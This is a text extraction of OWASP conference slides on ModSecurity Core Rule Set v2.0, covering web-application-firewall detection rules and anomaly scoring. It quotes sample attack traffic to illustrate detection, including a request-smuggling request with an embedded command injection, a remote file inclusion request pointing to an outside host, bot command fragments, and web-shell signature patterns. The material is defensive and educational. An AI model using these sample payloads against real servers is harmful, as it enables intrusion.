Upload
verity-shelton
View
222
Download
3
Tags:
Embed Size (px)
Citation preview
The OWASP Foundationhttp://www.owasp.org/
AppSec DC
Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.
ModSecurity Core Rule Set (CRS) v2.0
Ryan Barnett OWASP Project LeaderDirector of Application Security Research, Breach [email protected]
About The Speaker
Community Participation: OWASP ModSecurity Core Rule
Set Project Leader Web Application Security
Consortium (WASC) Board Member
WASC Distributed Open Proxy Honeypot Project Leader
Day Job: Director of Application Security
Research, Breach Security In charge of security research
through Breach Security Labs, development of ModSecurity rules and signatures.
What are we going to talk about
ModSecurity Quick OverviewThe Core Rule Set (CRS) OverviewBasic Detection CategoriesCRS v2.0 ImprovementsFacilitating Community CollaborationCall for Community Help
3
What is ModSecurity?
It is an open source web application firewall (WAF) module for Apache web servers www.modsecurity.orgSeparate Rule and Audit Engines Allows full request/response HTTP logging capabilityDeep understanding of HTTP and HTMLRobust Parsing (form encoding, multipart
and XML)Anti Evasion Features (normalization
functions)Supports Complex Rules LanguageAdvanced Capabilities Transactional and Persistent Collections Content Injection Lua API
ModSecurity’s Apache Request Cycle Hooks
ModSecurity’s Rules Language
ModSecurity’s Rules Language Syntax
Tells ModSecurity where to look (such as ARGS, ARGS_NAMES or COOKIES).
Tells ModSecurity where to look (such as ARGS, ARGS_NAMES or COOKIES).
Tells ModSecurity how to process data (such @rx, @pm or @gt).
Tells ModSecurity how to process data (such @rx, @pm or @gt).
Tells ModSecurity what to do if a rule matches (such as deny, exec or setvar).
Tells ModSecurity what to do if a rule matches (such as deny, exec or setvar).
The OWASP Foundation, http://www.owasp.org/
The ModSecurity Core Rule Set (CRS)
Ryan [email protected]
AppSec DC
CRS v2.0Overview
What is the Core Rule Set (CRS)?
A generic, plug-n-play set of WAF rules Detection Mechanisms:
Protocol Validation Malicious Client Identification Generic Attack Signatures Known Vulnerabilities Signatures Trojan/Backdoor Access Outbound Data Leakage Anti-Virus and DoS utility scripts
OWASP Project Homepage http://www.owasp.org/index.php/
Category:OWASP_ModSecurity_Core_Rule_Set_Project
Who uses the CRS?
WASC Distributed Open Proxy Honeypot Project “Use one of the web attacker's most trusted tools
against him - the Open Proxy server. Instead of being the target of the attacks, we opt to be used as a conduit of the attack data in order to gather our intelligence”
http://projects.webappsec.org/Distributed-Open-Proxy-Honeypots
Who uses the CRS?
Akamai WAF-in-the-Cloud Service Converted CRS in Akamai Edge Servers Launched in November 2009
Origin Server
Akamai EdgePlatform
with WAF
Attacker
The OWASP Foundation, http://www.owasp.org/
The ModSecurity Core Rule Set (CRS)
Ryan [email protected]
AppSec DC
Example Detection Categories
Detection Mechanisms: Protocol Violations
Protocol vulnerabilities such as Response Splitting, Request Smuggling, Premature URL ending Content length only for non GET/HEAD methods Non ASCII characters or encoding in headers Valid use of headers (for example, content length is
numerical) Proxy Access modsecurity_crs_20_protocol_violations.conf
Attack requests are different due to automation Missing headers such as Host, Accept, User-Agent Host is an IP address (common worm propagation
method) modsecurity_crs_21_protocol_anomalies.conf
HTTP Request Smuggling Example
Goal: IDS/IPS will only see one POST request to /foobar.html
POST http://SITE/foobar.html HTTP/1.1
...
Content-Length: 0
Content-Length: 44
GET /cgi-bin/foo.php?cmd=`id` HTTP/1.1
Host: SITE
IDS/IPS:
1. /foobar.html
Server:
1. /foobar.html
2. /foo.php
CRS ID 950012 – Request Smuggling Attack
POST /SITE/foobar.html HTTP/1.1Host: www.badstore.netUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-usAccept-Encoding: gzip,deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Keep-Alive: 300Proxy-Connection: keep-aliveContent-Length: 0, 44
# HTTP Request Smuggling SecRule REQUEST_HEADERS:'/(Content-Length|Transfer-Encoding)/' "," "phase:2,t:none,block,nolog,auditlog,status:400,msg:'HTTP Request Smuggling Attack.',id:'950012',tag:'WEB_ATTACK/REQUEST_SMUGGLING', severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+20,setvar:tx.web_attack_score=+1,setvar:tx.%{rule.id}-WEB_ATTACK/REQUEST_SMUGGLING-%{matched_var_name}=%{matched_var}"
Apache collapses duplicate Request headers and separates the payloads with commas – this payload means there were two Content-Length headers
Apache collapses duplicate Request headers and separates the payloads with commas – this payload means there were two Content-Length headers
Request Smuggling rule looks for a comma in the appropriate Request header payloads
Request Smuggling rule looks for a comma in the appropriate Request header payloads
Detection Mechanisms: Protocol Policies
Policy is usually application specific Some restrictions can usually be applied generically White lists can be build for specific environments
Limitations on Sizes Request size, Upload size # of parameters, length of parameter modsecurity_crs_23_request_limits.conf
Items that can be allowed or restricted Methods - Allow or restrict WebDAV, block abused
methods such as CONNECT, TRACE or DEBUG File extensions – backup files, database files, ini files Content-Types (and to some extent other headers) Modsecurity_crs_30_http_policy.conf
CRS ID 960012 – Request Method Not Allowed
SecRule REQUEST_METHOD "!^((?:(?:POS|GE)T|OPTIONS|HEAD))$" "phase:2,t:none,block,nolog,auditlog,status:501,msg:'Method is not allowed by policy', severity:'2',id:'960032',tag:'POLICY/METHOD_NOT_ALLOWED',setvar:tx.anomaly_score=+5,setvar:tx.policy_score=+1,setvar:tx.%{rule.id}-POLICY/METHOD_NOT_ALLOWED-%{matched_var_name}=%{matched_var}"
PUT /tr.htm HTTP/1.0Accept-Language: pt-br, en-us;q=0.5Translate: fContent-Length: 67Date: Thu, 5 Nov 2009 04:26:22 GMTConnection: Keep -AliveUser-Agent: Microsoft Data Access Internet Publishing Provider DAV 1.1Host: www.example.com
Command Tribulation was here - www.commandt.org - Jesus Loves you
Detection Mechanisms: Malicious Clients
Not aimed against targeted attacks, but against general malicious internet activity Offloads a lot of cyberspace junk & noise Effective against comment spam Reduce event count
Detection of Malicious Robots Unique request attributes: User-Agent header, URL,
Headers Black list of IP addresses Rate based detection Detection of security scanners Blocking can confuse security testing software
(WAFW00f) modsecurity_crs_35_bad_robots.conf
Comment SPAM – RBL Lookups
SecRule &IP:SPAMMER "@eq 0" "chain,phase:1,t:none,block,nolog,auditlog,msg:'RBL Match for SPAM Source',tag:'AUTOMATION/MALICIOUS',severity:'2',skipAfter:END_RBL_CHECK"
SecRule REMOTE_ADDR "@rbl sbl-xbl.spamhaus.org" "t:none,setvar:'tx.msg=%{rule.msg}',setvar:tx.automation_score=+1,setvar:tx.anomaly_score=+20,setvar:'tx.%{rule.id}=%{matched_var_name}=%{matched_var}',setvar:ip.spammer=1,expirevar:ip.spammer=86400“
Detection Mechanisms: App Layer Attacks
Detect application level attacks such as those described in the OWASP top 10 SQL injection and blind SQL injection Cross site scripting (XSS) OS command injection and remote command access Remote file inclusion
modsecurity_crs_40_generic_attacks.conf modsecurity_crs_41_sql_injection_attacks.conf
modsecurity_crs_41_xss_attacks.conf
Remote File Inclusion (RFI) Example
GET /XXXXXXXX.php?ADODB_DIR=http://www.filmbox.ru/d.pl? HTTP/1.1TE: deflate,gzip;q=0.3Connection: TE, closeHost: XXXXXXXXXXXUser-Agent: libwww-perl/5.805
switch(substr($mcmd[0],1)) { case "restart": case "mail": //mail to from subject message case "dns": case "info": case "cmd": case "rndnick": case "php": case "exec": break; case "pscan": // .pscan 127.0.0.1 6667 case "ud.server": // .udserver <server> <port> case "download": case "die": case "udpflood": case "udpflood1": case "tcpflood": case "massmail":
Attack Methods
Control Methods
SecRule ARGS "^(?:ht|f)tps?:\/\/([\d\.]+)" \
SecRule ARGS "(?:\binclude\s*\([^)]*(ht|f)tps?:\/\/)" \
SecRule ARGS "(?:ft|htt)ps?.*\?+$" \
SecRule ARGS "^(?:ht|f)tps?://(.*)\?$" \ "chain, SecRule TX:1 "!@beginsWith %{request_headers.host}”
IP address in hostnameIP address in hostname
Known vulnerable parameter
Known vulnerable parameter
One or more question marks at the end
One or more question marks at the end
Domain mis-matchDomain mis-match
Detection Mechanisms: Trojans/Backdoors
Major problem in hosting environments Uploading is allowed Some sites may be secure while others not
Upload detection Check uploading of files containing viruses (i.e. WORD
docs)util/modsec-clamscan.pl
Check uploading of http backdoor page
Access detection Known signatures (x_key header) Generic file management output (gid, uid, drwx, c:\) modsecurity_crs_45_trojans.conf
CRS ID 950922 – Trojan File Access
SecRule RESPONSE_BODY "(?:<title>[^<]*?(?:\b(?:(?:c(?:ehennemden|gi-telnet)|gamma web shell)\b|imhabirligi phpftp)|(?:r(?:emote explorer|57shell)|aventis klasvayv|zehir)\b|\.::(?:news remote php shell injection::\.| rhtools\b)|ph(?:p(?:(?: commander|-terminal)\b|remoteview)|vayv)|myshell)|\b(?:(?:(?:microsoft windows\b.{0,10}?\bversion\b.{0,20}?\(c\) copyright 1985-.{0,10}?\bmicrosoft corp|ntdaddy v1\.9 - obzerve \| fux0r inc)\.|(?:www\.sanalteror\.org - indexer and read|haxplor)er|php(?:konsole| shell)|c99shell)\b|aventgrup\.<br>|drwxr))" \ "phase:4,t:none,ctl:auditLogParts=+E,block,nolog,auditlog,status:404,msg:'Backdoor access',id:'950922',tag:'MALICIOUS_SOFTWARE/TROJAN',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.trojan_score=+1,setvar:tx.anomaly_score=+20,setvar:tx.%{rule.id}-MALICIOUS_SOFTWARE/TROJAN-%{matched_var_name}=%{matched_var}"
Detection Mechanisms: Information Leakage
Monitoring outbound application data HTTP Error Response Status Codes SQL Information Leakage Stack Dumps Source Code Leakage
Last line of defense if all else fails Provide feedback to application developers Important for customer experience Makes life for the hacker harder (if blocking is
used) modsecurity_crs_50_outbound.conf
CRS ID 971094 – SQL Information Leakage
SecRule RESPONSE_BODY "\bYou have an error in your SQL syntax near \'" \ "phase:4,t:none,ctl:auditLogParts=+E,block,nolog,auditlog,status:500,msg:'SQL Information Leakage',id:'971094',tag:'LEAKAGE/ERRORS',severity:'3',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+15,setvar:tx.%{rule.id}-LEAKAGE/ERRORS-%{matched_var_name}=%{matched_var}"
The OWASP Foundation, http://www.owasp.org/
The ModSecurity Core Rule Set (CRS)
Ryan [email protected]
AppSec DC
CRS v2.0 Improvements
CRS V2.0 Improvements
Rules and Alert Management Collaborative Rules/Anomaly Scoring Conditional Rules (Weak Signatures) Inbound+Outbound Correlation Updated Severity Ratings
Increased Security Coverage XSS Improvements Converted Emerging Threats Web Attack Signatures Converted PHPIDS Filters
Facilitate Community Collaboration CRS Smoketest/Demo Page JIRA Bug Tracking
The OWASP Foundation, http://www.owasp.org/
The ModSecurity Core Rule Set (CRS)
Ryan [email protected]
AppSec DC
Rules and Alert Management
CRS <2.0 – Self Contained Rules Concept
Older (<2.0) CRS used individual, “self-contained” actions in rules If a rule triggered, it would either deny or pass and
log No intelligence was shared between rules
Not optimal from a rules management perspective (handling false positives/exceptions) Editing the regex could blow it up Heavily customized rules were less likely to be
updated by the user
Not optimal from a security perspective Not every site had the same risk tolerance Lower severity alerts were largely ignored
CRS 2.0 - Collaborative Rules/Anomaly Scoring
Rules logic has changed by decoupling the inspection/detection from the blocking functionality Rules set transactional variables (tx) to store meta-
data about the rule match Rules also increase anomaly scores for both the
attack category and global score
These rules are considered basic or reference events
They do not generate an event in the Apache error_log on their own by default
The anomaly score check/enforcement rules will decided whether or not to deny/log eventsmodsecurity_crs_49_enforcement.conf
CRS 2.0 - Collaborative Rules/Anomaly Scoring
Example HTTP Parameter Pollution (HPP) attack /index.aspx?page=select 1&page=2,3 from table
where id=1
CRS 2.0 – Debug Log View
CRS 2.0 – Inspecting Anomaly Scores
CRS 2.0 – Conditional Rules (Weak Sigs)
SQL Injection Example Aggregate indicators to determine an
attack Strong indicators
Keywords such as: xp_cmdshell, varchar, Sequences such as: union …. select, select …
top … 1Amount: script, cookie and document appear in
the same input field
Weak indicators – meta-characters --, ;, ', …
CRS only applies weak signatures in the event a stronger signature has previously triggered
CRS 2.0 – Conditional Rule Example
CRS 2.0 – Inbound/Outbound Correlation
Concept is to do post processing of the transactional data (in the logging phase) for event creationmodsecurity_crs_60_correlation.conf
Couple the inbound with the outbound for increased intelligence Was there an inbound attack? Was there an HTTP Status Code Error (4xx/5xx
level)? Was there an application information leak?
Correlation facilitates better incident response App error without inbound attack -> Contact Ops Inbound attack + outbound error -> Contact Security
CRS 2.0 – Updated Severity Ratings
Correlated Events 0: Emergency - is generated from correlation (inbound
attack + outbound leakage) 1: Alert - is generated from correlation (inbound attack +
outbound application level error)
Non-Correlated Events 2: Critical - highest severity level possible without
correlation. It is normally generated by the web attack rules (40 level files)
3: Error - is generated from outbound leakage rules (50 level files)
4: Warning - is generated by malicious client rules (35 level files)
5: Notice - is generated by the Protocol policy and anomaly files
6: Info - is generated by the search engine clients (55 marketing file)
CRS 2.0 – Correlated Event Messages
The OWASP Foundation, http://www.owasp.org/
The ModSecurity Core Rule Set (CRS)
Ryan [email protected]
AppSec DC
Increased Security Coverage
CRS 2.0 – Updated XSS Coverage
Rules added that look for all event handlers from the WASC Script Mapping Project http://projects.webappsec.org/Script-Mapping
CRS 2.0 – Converted Emerging Threats Rules
Breach Security Labs received authorization from ET to convert their Snort rules and include them in the CRS http://www.emergingthreats.net/
Converted the following rule files emerging-web_server.rules emerging-web_specific_apps.rules
Identifying attacks against known vulnerabilities does have value Raised threat level If done correctly, lessens false positives
CRS combines the what of our generic attack payload detection with the where of ET known vuln data
CRS 2.0 – Converted Emerging Threats Rules
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET WEB_SPECIFIC_APPS 20/20 Auto Gallery SQL Injection Attempt -- vehiclelistings.asp vehicleID SELECT"; flow:established,to_server; uricontent:"/vehiclelistings.asp?"; nocase; uricontent:"vehicleID="; nocase; uricontent:"SELECT"; nocase; pcre:"/.+SELECT.+FROM/Ui"; classtype:web-application-attack; reference:cve,CVE-2006-6092; reference:url,www.securityfocus.com/bid/21154; reference:url,doc.emergingthreats.net/2007504; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SPECIFIC_APPS/WEB_2020_Auto_gallery; sid:2007504; rev:5;)
Attack vector location –
URI + Parameter
PCRE –Weak signature
CRS 2.0 – Converted Emerging Threats Rule
# (sid 2007508) ET WEB_SPECIFIC 20/20 Auto Gallery SQL Injection Attempt -- vehiclelistings.asp vehicleID
SecRule REQUEST_URI_RAW "(?i:\/vehiclelistings\.asp)" "chain,phase:2,block,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:normalisePathWin,capture,ctl:auditLogParts=+E,nolog,auditlog,logdata:'%{TX.0}',id:sid2007508,rev:3,msg:'ET WEB_SPECIFIC 20/20 Auto Gallery SQL Injection Attempt -- vehiclelistings.asp vehicleID ',tag:‘web-application-attack',tag:'url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/WEB_SQL_INJECTION/WEB_2020_Auto_gallery'"
SecRule &TX:'/SQL_INJECTION.*ARGS:vehicleID/' "@gt 0" "setvar:'tx.msg=ET WEB_SPECIFIC 20/20 Auto Gallery SQL Injection Attempt -- vehiclelistings.asp vehicleID',setvar:tx.sqli_score=+1,setvar:tx.anomaly_score=+20,setvar:tx.%{rule.id}-SQL_INJECTION/SQL_INJECTION-%{matched_var_name}=%{matched_var}"
Verify the URI of the request
Verify the attack vector location from saved TX SQL
Injection data exists
CRS 2.0 – Converted PHPIDS Filters
http://phpids.net/ ~70 regular expression rules to detect common
attack payloads XSS SQL Injection RFI
Filters are heavily tested by the community and updated frequently
Breach Security Labs received authorization from PHPIDS to convert their default_filters.xml rules and include them in the CRS https://svn.php-ids.org/svn/trunk/lib/IDS/default_filter.xml Thanks to Mario Heiderich
CRS 2.0 – PHPIDS Example Filter
<filter> <id>1</id> <rule><![CDATA[(?:"[^"]*[^-]?>)|(?:[^\w\s]\s*\/>)|(?:>")]]></rule> <description>finds html breaking injections including whitespace attacks</description> <tags> <tag>xss</tag> <tag>csrf</tag> </tags> <impact>4</impact> </filter>
CRS 2.0 – Converted PHPIDS Example Filter
SecRule ARGS|ARGS_NAMES "(?:\"[^\"]*[^-]?>)|(?:[^\w\s]\s*\/>)|(?:>\")" "phase:2,capture,multiMatch,t:none,t:urlDecodeUni,t:cssDecode,t:jsDecode,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,block,nolog,msg:'finds html breaking injections including whitespace attacks',id:'phpids-1',tag:'WEB_ATTACK/XSS',tag:'WEB_ATTACK/CSRF',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+4,setvar:tx.%{rule.id}-WEB_ATTACK/INJECTION-%{rule.severity}-%{rule.msg}-%{matched_var_name}=%{matched_var}"
Normalization functions
Combats common evasions with multiMatch action Normal process is to only apply the operator once after
the transformation function chain With multiMath, the operator is applied before/after any
transformation function that changes data
CRS 2.0 – PHPIDS Conversion/Normalization
PHPIDS combats evasions by both converting and normalizing input data before applying their regular expressions https://svn.php-ids.org/svn/trunk/lib/IDS/Converter.php
Handles evasion issues such as: Comments Newlines Charcode Normalize Quotes
Current CRS approach is to create rules to increase the anomaly score when these are encountered vs. attempting to normalize
CRS 2.0 – PHPIDS Centrifuge
Negative security approach to combating XSS and SQL Injection is doomed to fail… Unlimited ways to write functionally equivalent code Obfuscation methods, however often have certain
characteristics
PHPIDS has an interesting approach to identify attack payloads through heuristics Analysis of the use of special characters
Ratio between the count of the word characters, spaces, punctuation and the non word characters If <3.50 = malicious
Normalization and stripping of any word character and spaces including line breaks, tabs and carriage returns Regex check in default_filters.xml catches results
The OWASP Foundation, http://www.owasp.org/
The ModSecurity Core Rule Set (CRS)
Ryan [email protected]
AppSec DC
Facilitate Community Collaboration
CRS 2.0 – CRS Demo/Smoketest
ModSecurity/CRS finally has its own Demo/Smoketest page http://www.modsecurity.org/demo/
CRS 2.0 – CRS/PHPIDS Demo/Smoketest
CRS demo page is actually a front-end for the PHPIDS smoketest page http://demo.php-ids.org/
Request will go through CRS page first and then we proxy the request to the PHPIDS page
We then inspect the inbound with the outbound and provide results CRS detected an attack CRS did not find anything malicious but PHPIDS did Neither CRS nor PHPIDS found anything malicious
A link is provided to report false negatives to our JIRA ticketing system https://www.modsecurity.org/tracker/browse/CORERULES
CRS 2.0 – CRS Demo/Smoketest
The OWASP Foundation, http://www.owasp.org/
The ModSecurity Core Rule Set (CRS)
Ryan [email protected]
AppSec DC
Call for Community Help
CRS 2.0 – Call for Community Help
We have made great strides with CRS v2.0 but there is still much work to be done
Current OWASP Project Status is Alpha Need some help to move it to Beta -> Release Quality Need Project Reviewers
Test out the CRS demo page and report any issues found either to the mail-list or to JIRA
Cool project idea Port the PHPIDS Converter.php code into Lua for use in
ModSecurity
Please sign up on our project mail-list if you want to help https://lists.owasp.org/mailman/listinfo/owasp-
modsecurity-core-rule-set
The OWASP Foundationhttp://www.owasp.org/
AppSec DC
Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.
Thank You!
Ryan [email protected]